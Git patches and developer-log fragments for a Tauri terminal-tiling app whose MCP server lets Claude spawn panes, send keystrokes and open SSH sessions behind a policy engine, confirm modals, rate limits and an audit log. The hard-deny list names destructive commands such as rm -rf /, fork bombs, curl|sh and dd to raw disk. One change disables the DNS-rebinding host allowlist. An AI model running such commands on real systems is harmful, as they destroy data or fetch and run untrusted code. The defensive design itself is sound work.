From aab36afce440f1c4a23c1171c4846f6466e42a2d Mon Sep 17 00:00:00 2001 From: megaproxy Date: Fri, 22 May 2026 22:48:35 +0100 Subject: [PATCH 002/103] Per-pane and global terminal zoom via keyboard MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Each leaf now carries an optional fontSizeOffset, persisted in workspace.json alongside everything else. Ctrl+= / Ctrl+- / Ctrl+0 adjust the active pane; adding Shift escalates to every pane (the mirror of the broadcast Shift+Alt convention, with shift alone since the keys are otherwise unused). Bindings match on e.code so layouts that don't have "=" / "-" / "0" in the same spot still work. XtermPane gained a fontSize prop. A secondary effect reacts to changes: set term.options.fontSize, fit() to recompute cols/rows for the new cell size, refresh(), then resizePane so bash redraws the prompt at the right width. No remount, so PTY + scrollback survive zoom changes. The new tree helpers (resolveFontSize / adjustFontSize / adjustAllFontSizes) are metadata-only — they don't swap leaf ids, so nothing respawns. reshapeToPreset also carries the offset across when splicing existing leaves into a new layout. 12 new vitest cases pin those invariants plus the clamp and reset-to-default behaviour.

tauri-plugin-clipboard-manager; bump to 0.2.3 navigator.clipboard.readText() triggers WebView2's "Allow clipboard access?" permission prompt on every paste. The plugin goes through IPC + the OS clipboard directly, so the prompt never fires. Wired the Rust plugin, granted clipboard-manager:allow-{read,write}-text in the capabilities manifest, swapped XtermPane's copy/paste handler to use the plugin's readText/writeText.

Token validation rejects leading `-` and control chars (CVE-2023-51385). +- **Clickable URLs** via `@xterm/addon-web-links` routed through `@tauri-apps/plugin-opener`. Needed scoped `opener:allow-open-url` permission with `http/https/mailto` allow list, not the bare identifier. +- **Saved SSH hosts** with manager modal (label/host/user/port/identityFile/jumpHost/extraArgs), stored in `hosts.json`. Hierarchical per-pane dropdown: WSL distros → PowerShell → SSH hosts → "Manage hosts…". +- **Saved passwords** in Windows Credential Manager via `keyring-core` 1.0 + `windows-native-keyring-store` 1.0 (keyring-rs 4.x is sample code only now; the lib was split). Reader thread autotypes the password when ssh prompts (`password:`/`passphrase` regex, 30s window, one-shot). Passwords never on disk, never in IPC events, never in MCP. +- **Promote-out gesture**: first tried drag-past-sibling (75% then 50% threshold), but the inner gutter is too easy to miss — xterm canvas hit-testing felt unreliable. Ripped all the drag-armed/preview logic, replaced with **Ctrl+Shift+P keyboard shortcut** that calls `promoteLeaf(tree, activeLeafId)` (self-inverse). +- **Help overlay**: titlebar `?` button + F1, sourced from a single `src/lib/shortcuts.ts` SoT (sections + tips). +- **MCP server v1 (read-only)** via `rmcp` 1.7.0 Streamable HTTP on 127.0.0.1, bearer-token auth, OS-picked port.

Documented in McpPanel + README + help overlay. +- **Tree-helper data model** also gained: `setLeafShell` (replaces `changeDistro` for shell switches; id-swap forces respawn), `promoteLeaf`, `toggleMcpAllow`. `reshapeToPreset` carries new fields. 72 vitest cases, all green. + +Open follow-ups specific to this session: +- **MCP v2** — `write_pane`, `spawn_pane`, `connect_host`, `close_pane`, `apply_preset`, `promote_pane`, `set_label`, `swap_panes`, `add_host`.

Ended up unwinding a multi-layer breakage in Claude Code's HTTP-MCP client. + +**Persistence (the actual goal, in commit `799f507`):** +- Added `McpPersistedConfig { port, token }` saved to `%APPDATA%\com.megaproxy.tiletopia\mcp.json`. Default port **47821** (IANA-unassigned range). `start_server` tries the saved port first, falls back to OS-picked + warning log if it's taken (saved port is preserved for the next attempt — transient conflicts shouldn't burn the user's firewall rule). +- New `mcp_regenerate_token` command + **Regenerate** button in `McpPanel`. Confirms before rotating (existing clients break). If server is running, stops + restarts with the new token so the live auth middleware picks it up. +- Token loaded on every `start_server`, so `McpState.bearer_token` is always in sync with `mcp.json`. + +**The chain of failures (each fix exposed the next layer):** +1. **WSL → Windows TCP timeouts.** User had auto-created Windows Defender Firewall **Block (Public)** rules for `tiletopia.exe` from earlier launches. Block rules win over Allow rules in WDF. Fix: nuke all `tiletopia*` rules, create one `Allow Any-profile LocalPort 47821` rule. Confirmed working with curl 401 from Windows + WSL. +2. **rmcp DNS-rebinding allowlist** (`StreamableHttpServerConfig.allowed_hosts` defaults to `["localhost", "127.0.0.1", "::1"]`). WSL clients hit via the gateway IP `172.x.x.1`, which isn't in the list — rmcp logged `rejected request with disallowed Host header`. Fix: `.disable_allowed_hosts()` on the config. Bearer auth handles the real gatekeeping; we're not in a browser context. +3. **Bearer auth middleware intercepted OAuth-discovery probes.** Claude Code probes `/.well-known/oauth-protected-resource`, `/.well-known/oauth-authorization-server`, `/register`, etc. before sending the static bearer. Our middleware was returning `401 + WWW-Authenticate: Bearer` on those paths — Claude interpreted that as "OAuth supported" and abandoned the static bearer in `.mcp.json`. Fix: skip auth enforcement for any path outside `/mcp` (`mcp.rs:bearer_auth`). +4. **Claude Code's HTTP-MCP client is OAuth-only-ish.** Even with discovery paths returning bare 404s, Claude's `/mcp` UI hung in `Needs authentication`, never sent a real `POST /mcp`, and offered an "Authenticate" button that opened a (non-existent) browser flow. Logs confirmed: not a single `MCP request` after `MCP server listening`. The `headers: { Authorization: "Bearer ..." }` field IS the [documented mechanism](https://code.claude.com/docs/en/mcp), but it's broken in Claude Code per [#17152](https://github.com/anthropics/claude-code/issues/17152) (cosmetic UI bug) and [#46879](https://github.com/anthropics/claude-code/issues/46879) (auth requirement triggered by the *existence* of well-known endpoints, not by 401 responses). + +**The working path: `mcp-remote` stdio shim.** Replace the HTTP server entry in `.mcp.json` with: +```json +{ + "mcpServers": { + "tiletopia": { + "command": "npx", + "args": [ + "-y", "mcp-remote", + "http://127.0.0.1:47821/mcp", + "--allow-http", + "--header", "Authorization: Bearer " + ] + } + } +} +``` +From Claude's perspective tiletopia is now stdio; `mcp-remote` proxies every JSON-RPC call over HTTP with the bearer baked in, bypassing Claude Code's HTTP-MCP machinery entirely. **`--allow-http` is required** because mcp-remote blocks non-HTTPS URLs except for `localhost`. The panel's "Copy config snippet" generates this shape now. + +**Cleanups after the shim worked:** +- Dropped the experimental `json_not_found` fallback handler (was added when we thought a JSON-bodied 404 would satisfy Claude's discovery parser; not needed once we went stdio). +- Diagnostic `tracing::info!` for per-request auth state dropped to `tracing::debug!` (silent by default, available behind `RUST_LOG=tiletopia_lib::mcp=debug`). +- README + help-overlay tip rewritten around the shim recipe + WSL firewall + WSL gateway-IP / mirrored-networking choice. + +**Root-cause sequence worth remembering:** five distinct failures masked each other, and each new error message looked like a config bug. Methodical curl-from-WSL + log inspection was what cut through it — never trust the client's "auth failed" string without seeing whether the server was even reached. + +Open follow-ups specific to this session: +- **CLAUDE.md (root) still says Svelte 5** in stack — was noted in 2026-05-25's entry too; still not fixed. +- **`.mcpb` bundle** would let Claude Desktop install the shim + bearer without hand-editing `.mcp.json`. Was already in the previous MCP TODO list; this session reinforces the need. +- **Direct HTTP-MCP** can drop the shim once Claude Code fixes #17152 / #46879. Worth watching those issues. +- **Panel could pre-flight check** for `npx` / Node presence on the WSL/host side and warn if missing. Currently the user only discovers the shim needs Node when Claude fails to spawn it. +- **Server-side OAuth metadata** (RFC 9728 PRM at `/.well-known/oauth-protected-resource`) is the spec-blessed path but requires actually implementing OAuth dynamic client registration. Big scope; not worth it for the shim's lifetime. + ### 2026-05-25 — Reflow bug fix + titlebar tidy-up - **Bug: terminal text reflowing every few seconds.** User reported "redrawing every few seconds" with text changing lines. Added a `console.trace` inside the `ResizeObserver` in `XtermPane.tsx`, then expanded the diagnostic to log titlebar/pane-wrap/leaf/toolbar heights. Caught it: titlebar was oscillating between **34px and 50px** in sync with pane heights changing by ±15.4px (one button-row).

Nothing wired end-to-end yet (App.tsx dispatcher comes next); this lands the machinery + UI. mcp_policy.rs (new) — three-tier allow/ask/deny policy with deny-first precedence and a compiled-in non-overridable hard-deny list (10 patterns covering rm -rf /, fork bombs, mkfs on device, dd to raw disk, /etc/passwd overwrite, curl|sh, chmod -R 777 /, etc.). Shell-operator-aware glob matcher mirroring Claude Code's Bash(*) syntax. Restrictive default — empty policy means every non-hard- denied call falls to Ask. Persisted to mcp-policy.json in app_config_dir. Includes a PolicyClassifier scaffold (no-op) for a future v2.1 LLM-classifier hook. 1152 lines incl. ~100 unit + fuzz tests covering the matchers and lookalike negatives. mcp.rs — TileService now holds AppHandle + Arc (oneshot registry keyed by uuid). New async dispatch_action helper runs the policy check, emits "mcp://request" for the frontend to handle, awaits a oneshot reply (30s timeout), then emits "mcp:// audit" with the outcome regardless. set_label tool wired through this path as the demo for PR-1b's dispatcher. commands.rs / lib.rs — new Tauri commands mcp_action_reply, mcp_policy_load, mcp_policy_save; PendingActions registered as managed state. McpPanel.tsx — refactored into Config / Audit / Policy tabs. AuditTab listens on mcp://audit, keeps a 200-entry ring with ok/denied/failed chips. PolicyTab edits the allow/ask/deny buckets (stacked vertically — three columns overflowed the panel) and shows the hard-deny rules read-only at the bottom with "Cannot be disabled" badges.

From 26ffe8859ac535252e88644e46abd2f44586eaaa Mon Sep 17 00:00:00 2001 From: megaproxy Date: Tue, 26 May 2026 12:26:33 +0100 Subject: [PATCH 031/103] MCP v2 PR-1b: action dispatcher, confirm modal, set_label end-to-end MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit App.tsx now listens on "mcp://request" and resolves each call: needsConfirm=true queues a confirm modal (Accept/Reject, or "Always allow " which appends the bare tool name to the policy's allow bucket on the fly); needsConfirm=false runs straight through. Replies via mcp_action_reply with externally-tagged Result. The only wired-up tool for now is set_label, which delegates to the existing ops.setLabel path. McpConfirm.tsx (new) — themed amber-bordered modal sibling to the existing overlays. Enter = accept, Esc = reject. Shows tool, the policy reason that triggered the prompt, a human-readable summary ("Rename pane X → Y"), and an expandable raw-args section. Audit log: subscription lifted from AuditTab up to App.tsx so events fired while the panel is closed (or on Config/Policy tab) still land in the ring. AuditTab becomes presentational; McpPanel forwards entries + clearAudit + computes the unread badge from a baseline seen-count. StrictMode race fix: both new App-level listeners (mcp://audit and mcp://request) use the cancelled-flag pattern so a late-resolving listen() Promise after a strict-mode pretend-unmount tears itself down instead of leaking a second subscription. Previously this manifested as duplicate audit rows and a need-to-click-twice on modal buttons. --- src/App.tsx | 170 ++++++++++++++++++++++++++++++++++ src/components/AuditTab.tsx | 45 +-------- src/components/McpConfirm.tsx | 81 ++++++++++++++++ src/components/McpPanel.css | 114 +++++++++++++++++++++++ src/components/McpPanel.tsx | 19 ++-- src/ipc.ts | 17 +++- 6 files changed, 397 insertions(+), 49 deletions(-) create mode 100644 src/components/McpConfirm.tsx diff --git a/src/App.tsx b/src/App.tsx index 4662d59..80602ce 100644 --- a/src/App.tsx +++ b/src/App.tsx @@ -12,6 +12,10 @@ import { mcpStatus as mcpStatusCmd, mcpRegenerateToken, mcpUpdateState, + onMcpRequest, + mcpActionReply, + mcpPolicyLoad, + mcpPolicySave, writeToPane, killPane, type PaneId, @@ -20,7 +24,10 @@ import { type McpMirror, type McpMirroredLeaf, type McpMirroredHost, + type McpActionRequest, + type McpAuditEntry, } from "./ipc"; +import { listen } from "@tauri-apps/api/event"; import { type TreeNode, type NodeId, @@ -64,6 +71,7 @@ import Palette from "./components/Palette"; import HostManager from "./components/HostManager"; import Help from "./components/Help"; import McpPanel from "./components/McpPanel"; +import McpConfirm, { type McpConfirmSpec } from "./components/McpConfirm"; import "./App.css"; import "./lib/layout/Gutter.css"; @@ -728,6 +736,154 @@ export default function App() { ); }, [mcpStatus.running, tree, hosts, activeLeafId]); + // ---- MCP audit log ------------------------------------------------------- + // Subscribed at App level so events received while the panel is closed (or + // while the user is on another tab) still land in the ring buffer.

The shape-of-rule test grid is in `mod hard_deny_fuzz` at the bottom of mcp_policy.rs. + +**Audit log surface.** Backend emits `mcp://audit` after every tool call resolves with `{tsMs, tool, argsSummary (truncated 80), result: ok|denied|failed, durationMs}`. Ring buffer of 200 entries. Args summary explicitly capped — `write_pane` text would otherwise turn the panel into a secret-leak surface if Claude pastes a token. + +**`McpPanel` refactored into three tabs: Config / Audit / Policy.** Config kept the existing snippet/regen UI. Audit is a presentational table with chip-coloured rows. Policy is three vertically-stacked allow/ask/deny buckets with add/remove + a Save button, plus a read-only "Always blocked (built-in)" section showing the 10 hard-deny labels with "Cannot be disabled" badges. + +**Confirm modal (`McpConfirm.tsx`).** Amber-bordered modal. Shows tool, policy reason ("default", a matched ask rule, etc.), a human-readable summary built per-tool (`Rename pane "X" → "Y"`), and an expandable raw-args block. Enter = accept, Esc = reject. Third button: **"Always allow {tool}"** — appends bare tool name to the policy allow bucket inline, then resolves the current call. Toast confirms. + +**Default policy is empty → every call asks.** Restrictive by design; the user enables parts. Saved to `%APPDATA%\com.megaproxy.tiletopia\mcp-policy.json` via the same atomic tmp+rename pattern as `mcp.json`/`hosts.json`/`workspace.json`. + +**Classifier hook scaffold (no-op).** `PolicyClassifier` trait + `ClassifierHint` enum + `NoopClassifier` in mcp_policy.rs. Not wired into `evaluate()` yet — placeholder for v2.1 where a small LLM (Haiku via Anthropic API, or local Ollama) classifies ambiguous Ask calls to maybe-upgrade them to Allow. Architecture supports it without further refactor. + +**Demo tool wired end-to-end: `set_label`.** Pure metadata change; reuses the existing `ops.setLabel` → `changeLabel(tree, leafId, label)` path. No PTY, no SSH, no async spawn complexity. Perfect proof-of-concept for the dispatcher — every other v2 tool follows the same shape: arg struct, validate, dispatch_action with stable args_repr, frontend handler in `runMcpHandler` switch. + +**Bugs hit during integration:** + +1. **Tauri 2 trait-not-in-scope.** `AppHandle::emit` moved onto `tauri::Emitter` trait in Tauri 2. The error message helpfully says "trait `Emitter` which provides `emit` is implemented but not in scope" — just `use tauri::Emitter;` next to `Manager`. Worth remembering for any future event-emission code. + +2. **`McpError` constructors want `'static` strings.** Signature is `impl Into>`. Passing `&format!(...)` or `&e.to_string()` fails (`temporary value dropped while borrowed`). Pass the owned `String` directly — auto-converts to `Cow::Owned`. Bit me at three sites in dispatch_action. + +3. **React 18 StrictMode race with `listen()`.** Classic pattern bug: `useEffect(() => { let un; void listen(...).then(fn => { un = fn }); return () => un?.() }, []);` is broken in StrictMode because the cleanup runs before the Promise resolves on the pretend-unmount, leaving the first subscription dangling. Real-world symptom was duplicate audit entries and modal-needs-two-clicks (each event handled by both subscriptions). Fix is the cancelled-flag pattern: + ```ts + let cancelled = false; + let unlisten; + void listen(...).then(fn => { if (cancelled) fn(); else unlisten = fn; }); + return () => { cancelled = true; unlisten?.(); }; + ``` + Worth using *anywhere* we subscribe-via-Promise inside `useEffect`, not just for MCP events. Vite HMR also surfaces this if you're not careful — a clean restart confirmed the fix held. + +4. **Stale state when audit subscription lived in AuditTab.** AuditTab unmounts when the user switches tabs or closes the panel; events fired during that window were dropped. Lifted subscription to App.tsx, made AuditTab presentational (props in, table out). Same pattern any "always-on log" should follow. + +5. **rmcp's DNS-rebinding allowlist re-bit us once.** The earlier session disabled it for WSL connectivity; PR-1 didn't regress this but it's a pattern to keep flagged — `StreamableHttpServerConfig::default().disable_allowed_hosts()` stays mandatory for our use case. + +**Frontend ↔ backend contract worth saving:** + +- `mcp://request` event payload (camelCase): `{requestId, tool, args, needsConfirm, reason}` +- `mcp://audit` event payload: `{tsMs, tool, argsSummary, result: {kind:"ok"|"denied"|"failed", ...}, durationMs}` +- `mcp_action_reply` Tauri command takes `{requestId, result}` where result is externally-tagged `{Ok: value}` or `{Err: msg}` — that's serde's default tagging for `Result`, NOT a custom shape. +- Tauri 2 command argument-name binding: JS sends `{policy}`, Rust receives `policy: McpPolicy` — direct lowercase match. McpPolicy has no `#[serde(rename_all = ...)]`, so field keys (`version`, `permissions`, `deny`, `ask`, `allow`) match identity. Verified with debug-log instrumentation during the save-not-persisting investigation (it was actually working; user's first test predated the cargo rebuild). + +Open follow-ups specific to this session: + +- **PR-2 (next):** `close_pane`, `swap_panes`, `promote_pane`, `apply_preset`. Same dispatcher shape; the `apply_preset` data-loss case wants an `allow_drops: true` arg rather than a separate modal (per the earlier scope notes). +- **PR-3 (the hard one):** `spawn_pane`, `write_pane`, `connect_host`. Needs (a) spawn-completion oneshot resolution chain (await `registerPaneId`), (b) per-host SSH confirm even on spawn (Claude opening a shell on prod is equally consequential to writing to it), (c) rate limiter on `write_pane` (per OWASP LLM06 + MCP spec MUST). +- **PR-4:** `add_host` + `extraArgs` sanitiser (ProxyCommand exfil risk for OpenSSH). +- **v2.1 classifier:** wire `PolicyClassifier` into `evaluate()` so Ask calls can be auto-upgraded to Allow by a small LLM. Haiku is the cheap/fast pick; needs an API key surface in settings. +- **PowerShell hard-deny patterns** (`Remove-Item -Recurse -Force C:\`, `Format-Volume`, etc.). Deferred until users actually use PowerShell panes with MCP enabled. +- **`.mcpb` bundle** — still on the list; PR-1b's stdio-shim recipe is what it would package up. +- **Confirm modal queueing UX** — currently shows one at a time, FIFO. If Claude burst-sends many tool calls, the user gets serial modals. Probably fine for v2; if it gets annoying, add a "reject all pending" button. +- **Audit log persistence** — currently ephemeral ring of 200. A `mcp-audit.jsonl` append-only file in app data dir would let users see "what did Claude do overnight". Trade-off: secrets-in-summaries risk if `write_pane` text leaks past the 80-char truncation. Deferred. +- **xterm.js RenderService errors** (`Cannot read properties of undefined (reading 'dimensions')`) showed up in dev tools during this session — completely unrelated to MCP work, likely a pane being resized or detached mid-render. File when convenient. + ### 2026-05-26 — MCP persistence + Claude Code OAuth bug + `mcp-remote` shim Set out to fix two paper cuts (port + token re-rolled every server restart, so firewall rules and `.mcp.json` had to be re-pasted). Ended up unwinding a multi-layer breakage in Claude Code's HTTP-MCP client. From e0ce2239850825ea36cd1799bced3241d5e6daa5 Mon Sep 17 00:00:00 2001 From: megaproxy Date: Tue, 26 May 2026 12:44:11 +0100 Subject: [PATCH 033/103] MCP v2 PR-2: close_pane, swap_panes, promote_pane, apply_preset Four more tree-shape tools routed through the existing dispatcher + confirm modal + audit log. All take leaf_id args (single or pair) that must be MCP-allowed via the per-pane chip; apply_preset takes a typed PresetName enum (single, two_columns, three_columns, two_rows, two_by_two) plus an allow_drops boolean. apply_preset's data-loss case is handled non-interactively: if the preset has fewer slots than the current pane count and allow_drops is not set, the frontend handler throws with a descriptive message listing the leaf labels that would be killed, so Claude can decide whether to retry with allow_drops=true rather than the user being ambushed by a destructive confirm modal. promote_pane errors with "no perpendicular split above it" when the parent shares orientation with the grandparent (same condition the Ctrl+Shift+P shortcut uses to toast a no-op). Extracted a require_visible_leaf helper on TileService since 4+ of the v2 tools now do the same mirror-presence + cloned-metadata check. Same args_repr convention as set_label so policy rules like "close_pane" (bare tool name) work uniformly. --- src-tauri/src/mcp.rs | 153 +++++++++++++++++++++++++++++++++++++++++++ src/App.tsx | 136 +++++++++++++++++++++++++++++++++++--- 2 files changed, 281 insertions(+), 8 deletions(-) diff --git a/src-tauri/src/mcp.rs b/src-tauri/src/mcp.rs index 72ef78c..5789723 100644 --- a/src-tauri/src/mcp.rs +++ b/src-tauri/src/mcp.rs @@ -276,6 +276,56 @@ pub struct WaitForIdleArgs { pub timeout_ms: Option, } +#[derive(Debug, Deserialize, schemars::JsonSchema)] +pub struct CloseLeafArgs { + /// Stable leaf id from the tree (uuid-shaped).

Avoids ambushing the user with a destructive confirm modal — the user already approved the high-level "reshape" action; the per-pane consequences are surfaced to Claude, not them. The audit log shows the failed call so the user still sees what was attempted. + +**`PresetName` is a typed enum** (`single | two_columns | three_columns | two_rows | two_by_two`) with `serde(rename_all = "snake_case")` so Claude's tool schema gets autocomplete and the JSON wire form matches `apply_preset(two_columns)` style policy rules. + +**`promote_pane` errors gracefully** when the parent shares orientation with the grandparent — same "no perpendicular split above it" condition the Ctrl+Shift+P keyboard shortcut already toasts. Reuses the existing `promoteLeaf(tree, id) === null` check. + +5 of 9 planned v2 tools live now. PR-3 is the materially harder one (spawn_pane / write_pane / connect_host + rate limiter + SSH-specific confirm treatment); PR-4 is `add_host` + `extraArgs` sanitiser. + ### 2026-05-26 — MCP v2 PR-1 + PR-1b: policy engine, audit log, dispatcher, `set_label` end-to-end First two of four planned PRs for the MCP write surface. Shipped via fan-out (3 Sonnet agents in parallel + 1 Haiku for fuzz tests, then sequential integration by me). Two clean commits: `464c576` (PR-1 foundation) and `26ffe88` (PR-1b dispatcher + bug fixes). From bf2810a4332f017898cb2e1781d368e826ce6d7e Mon Sep 17 00:00:00 2001 From: megaproxy Date: Tue, 26 May 2026 14:50:06 +0100 Subject: [PATCH 035/103] MCP v2 PR-3: write_pane, spawn_pane, connect_host + SSH safeguards MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Three of the highest-power v2 tools, plus a defense-in-depth pass on SSH-specific risk. write_pane sends keystrokes (or any bytes) to a pane's PTY. The policy engine matches against the text content directly so rules like write_pane(npm test*) match by what would run, and the compiled-in hard-deny catches rm -rf /, fork bombs, etc. regardless of policy. Per-pane token-bucket rate limiter (30 calls / 10s, 3/sec refill) prevents a runaway loop from spamming the user with confirm modals or burning audit-log capacity. The frontend handler truncates the text in modal/audit summaries to ~60 chars + escapes control characters so secrets pasted into write_pane don't echo verbatim into the UI. spawn_pane mirrors the existing SpawnSpec enum (WSL distro, PowerShell, SSH) as the tool schema. New splitLeafWith helper inserts a caller-built LeafNode (with a pre-generated id) so the handler can await waitForPaneRegistration on that exact leaf before replying with the resulting {leafId, paneId}. 15s spawn timeout covers cold-start WSL distros; 30s for connect_host covers SSH handshake + auth. Outer dispatch timeout bumped 30s → 60s. SSH spawns without a saved hostId are refused — LeafNode only persists sshHostId, no inline params, so use connect_host. connect_host is a thin wrapper that looks up a saved SSH host by id and routes through the same spawn machinery. McpConfirm.tsx gains an optional ssh context — when the call targets or spawns an SSH pane, a red warning banner renders explaining that pattern matching is best-effort on the bytes we send (remote shell expands aliases/subshells before executing). buildConfirmSummary became buildConfirmInfo and returns the SSH context alongside the summary string. PR-3.5 — SSH safeguards. Two new switches in the Policy tab, both off by default, both gated by mcp_policy::SshSafeguards: allowOpenSsh: when off, connect_host and spawn_pane(kind=ssh) refuse server-side with a clear "ssh-disabled" message pointing at the Policy tab. User must open SSH manually via the titlebar 🔑 picker and toggle 🤖 on to grant Claude access. autoAllowSpawnedSsh: when off, an SSH pane Claude spawns starts with mcpAllow=false. User must explicitly toggle 🤖 before Claude can read scrollback or send keystrokes. The second switch is disabled in the UI when the first is off. The safe-by-default design means a fresh install gives Claude no ability to autonomously touch SSH — full safety with one click per level to enable when consciously wanted. Both switches read fresh per call so policy edits take effect without a server restart. ErrorBoundary.tsx — last-resort guard against React render exceptions. Wraps the App root + each MCP panel tab independently so a bug in one tab doesn't blank the entire app. Shows a small red error card with the exception message and a "Try again" button. Caught a serde rename_all bug during PR-3.5 testing where PolicyTab read policy.sshSafeguards but Rust serialized ssh_safeguards (snake_case); without the boundary the whole window went black. newId() now exported from tree.ts for the splitLeafWith path. McpPolicy struct gained #[serde(rename_all = "camelCase")] so sshSafeguards survives the IPC round-trip cleanly; older policy files without the field still load (serde defaults to safe). --- src-tauri/src/mcp.rs | 274 ++++++++++++++++++++++++- src-tauri/src/mcp_policy.rs | 26 +++ src-tauri/src/pty.rs | 5 +- src/App.tsx | 332 +++++++++++++++++++++++++++---- src/components/ErrorBoundary.tsx | 84 ++++++++ src/components/McpConfirm.tsx | 15 ++ src/components/McpPanel.css | 65 ++++++ src/components/McpPanel.tsx | 11 +- src/components/PolicyTab.tsx | 44 ++++ src/ipc.ts | 6 + src/lib/layout/tree.ts | 18 +- src/main.tsx | 5 +- 12 files changed, 844 insertions(+), 41 deletions(-) create mode 100644 src/components/ErrorBoundary.tsx diff --git a/src-tauri/src/mcp.rs b/src-tauri/src/mcp.rs index 5789723..31b739f 100644 --- a/src-tauri/src/mcp.rs +++ b/src-tauri/src/mcp.rs @@ -237,6 +237,45 @@ fn truncate_summary(s: &str) -> String { } } +// ---------------------------------------------------------------------------- +// Write rate limiter (per OWASP LLM06 "Excessive Agency" + MCP spec MUST). +// Token bucket per leaf_id, only applied to write_pane. +// ---------------------------------------------------------------------------- + +const WRITE_RATE_CAPACITY: f64 = 30.0; +/// Tokens added per second. 30 / 10s = 3.0 → burst of 30, sustained 3/s. +const WRITE_RATE_REFILL_PER_SEC: f64 = 3.0; + +#[derive(Default)] +pub struct WriteRateLimiter { + /// leaf_id → (last_refill, tokens).

Split SSH out of mcp.spawn_pane schema. New McpSpawnSpec enum (Wsl | Powershell only) used for SpawnPaneArgs, so Claude's spawn_pane tool description and JSON schema show only the local shells. SSH must go through connect_host. The internal pty::SpawnSpec is unchanged — the frontend's manual spawn path via XtermPane still supports all three variants. Previously spawn_pane(kind=ssh) was a half-broken path that required `host` as a separate mandatory field even when hostId was given; serde-rejected the natural "spawn to a saved host" call shape. 2. Refresh the MCP server's `with_instructions` text and the module-level header comment. Both still claimed "read-only v1" long after the v2 write surface landed, which was making Claude refuse to attempt tools on first contact ("the server has flagged itself as read-only..."). The instructions now describe the actual tool set, the SSH-via-connect_host convention, and the policy/safeguards gates so Claude doesn't have to infer. 3. Add a "Connect" button to the SSH hosts manager. Previously the dialog only had Edit — users (rightly) expected clicking a saved host to spawn an SSH pane to it. New onConnect callback does the splitLeaf + smart-orient dance and closes the manager. Buttons wrapped in a flex container so the row's space-between layout doesn't strand the new button mid-row. --- src-tauri/src/mcp.rs | 102 +++++++++++++++++++++------------ src/App.tsx | 53 ++++++++++++++--- src/components/HostManager.css | 17 +++++- src/components/HostManager.tsx | 24 ++++++-- 4 files changed, 144 insertions(+), 52 deletions(-) diff --git a/src-tauri/src/mcp.rs b/src-tauri/src/mcp.rs index 31b739f..07095d8 100644 --- a/src-tauri/src/mcp.rs +++ b/src-tauri/src/mcp.rs @@ -1,11 +1,21 @@ //!

Rate-limited calls don't emit audit rows (would just spam during an attack); they get a `tracing::warn!`. Frontend `truncateForSummary` caps text shown in the modal + audit row to ~60 chars and escapes control chars, so a pasted token doesn't echo verbatim into the UI. +- **`spawn_pane`** + **`connect_host`** required a new architectural piece: a **spawn-completion oneshot chain** in App.tsx. Backend MCP tools that mutate the tree can't reply until the new pane has been registered with a PaneId — and that only happens after React mounts XtermPane and the Tauri `spawn_pane` command returns. New `pendingPaneRegistrations` Map; `registerPaneId` fires waiters; `waitForPaneRegistration(leafId, timeoutMs)` returns a Promise the handler awaits. 15s timeout for WSL (covers cold distro start), 30s for SSH (covers handshake + auth), 60s outer cap in `dispatch_action` as a fail-safe. +- New tree helper `splitLeafWith(root, parentId, orient, leaf)` — like `splitLeaf` but takes a caller-built `LeafNode` with a pre-generated id instead of minting one inside. The handler needs the id up front so it can register a waiter for it before setTree commits. +- **SSH-extra confirm modal** — `McpConfirmSpec` carries an optional `ssh: {hostLabel}` context; when set, the modal renders a red warning banner explaining that pattern matching only sees the bytes we send (the remote shell expands aliases/subshells before executing) and the hard-deny still applies but this is best-effort. Detection lives in `buildConfirmInfo` (renamed from `buildConfirmSummary`). + +**PR-3.5 — SSH safeguards.** Two new switches on `McpPolicy.sshSafeguards`, both default off (safest): + +- `allowOpenSsh` — when off, `connect_host` and `spawn_pane(kind=ssh)` refuse server-side with a clear `ssh-disabled:` message pointing at the Policy tab. User opens SSH manually via the titlebar 🔑 picker. +- `autoAllowSpawnedSsh` — when off, SSH panes Claude spawns start with `mcpAllow=false`. User must explicitly toggle 🤖 before Claude can read scrollback or write keystrokes. UI disables the second checkbox when the first is off (visual "this depends on that"). + +Together: fresh install + safeguards = Claude has *no* ability to autonomously touch SSH. Power-user can flip switches independently for graduated trust. + +**Polish bundle (`6da7523`) — three small follow-ups from PR-3 testing:** + +1. **Removed SSH variant from `mcp::spawn_pane`'s schema entirely.** New `McpSpawnSpec` enum (Wsl | Powershell only), used only by `SpawnPaneArgs`. Internal `pty::SpawnSpec` keeps all three for the existing frontend-driven spawn path. Reason: `spawn_pane(kind=ssh)` was a half-broken path — required `host` as a mandatory field even when `hostId` was given, so serde rejected the natural "spawn to a saved host" shape. Claude now sees two clearly-scoped tools and routes "open a pane to testbox" to `connect_host` automatically (verified via natural-language test). +2. **Refreshed `with_instructions` + module header comment.** Both still claimed "read-only v1" long after the write surface landed; Claude was refusing tools on first contact citing the stale instructions. New text describes the actual surface, points at `connect_host` for SSH, mentions the policy/safeguards gates. +3. **Connect button in the SSH hosts manager.** The dialog previously had only Edit — users (rightly) expected clicking a saved host to spawn an SSH pane. Green button next to Edit, wrapped in a flex container so the row's `space-between` layout keeps both actions right-aligned. Closes the manager on click and splits off the active pane with smart-orient. + +**Four integration bugs + recurring patterns worth remembering:** + +1. **`Tauri 2` `AppHandle::emit` moved onto the `tauri::Emitter` trait** — needs `use tauri::Emitter;`. The error message tells you (well, with `--explain`), but it's an easy stumbling block. +2. **`McpError` constructors take `impl Into>`.** Pass owned `String` from `format!(...)`, not `&format!(...)` — the temporary is dropped before the `'static` lifetime can be satisfied. +3. **React 18 `StrictMode` race with `listen()` inside `useEffect`.** Always use the cancelled-flag pattern; never just `let un; .then(fn => un = fn)` because the cleanup runs before the Promise resolves on the pretend-unmount. +4. **Serde rename mismatch between Rust and TS.** Rust `pub ssh_safeguards` serializes as `ssh_safeguards` unless the struct has `#[serde(rename_all = "camelCase")]`. The frontend reading `policy.sshSafeguards` got `undefined`, threw during render, blanked the whole app. Add `rename_all` on every struct that crosses the IPC boundary. + +**New defensive primitive: `ErrorBoundary.tsx`.** Wraps the App root + each MCP panel tab. A render exception anywhere shows a small red error card with the message + a "Try again" button instead of unmounting the entire React tree and showing a black window. Caught bug #4 above. Wrap any future high-risk component too (especially anything reading from MCP state). + +**5 of 9 v2 tools verified end-to-end with Claude:** set_label, write_pane, spawn_pane (local), connect_host, close_pane (regression). The hard-deny + rate-limit + audit + confirm + Always-Allow flow all working. + +Open follow-ups specific to this session, ordered by priority: + +- **PR-4: `add_host` + `extraArgs` sanitiser.** Lets Claude register new SSH hosts in 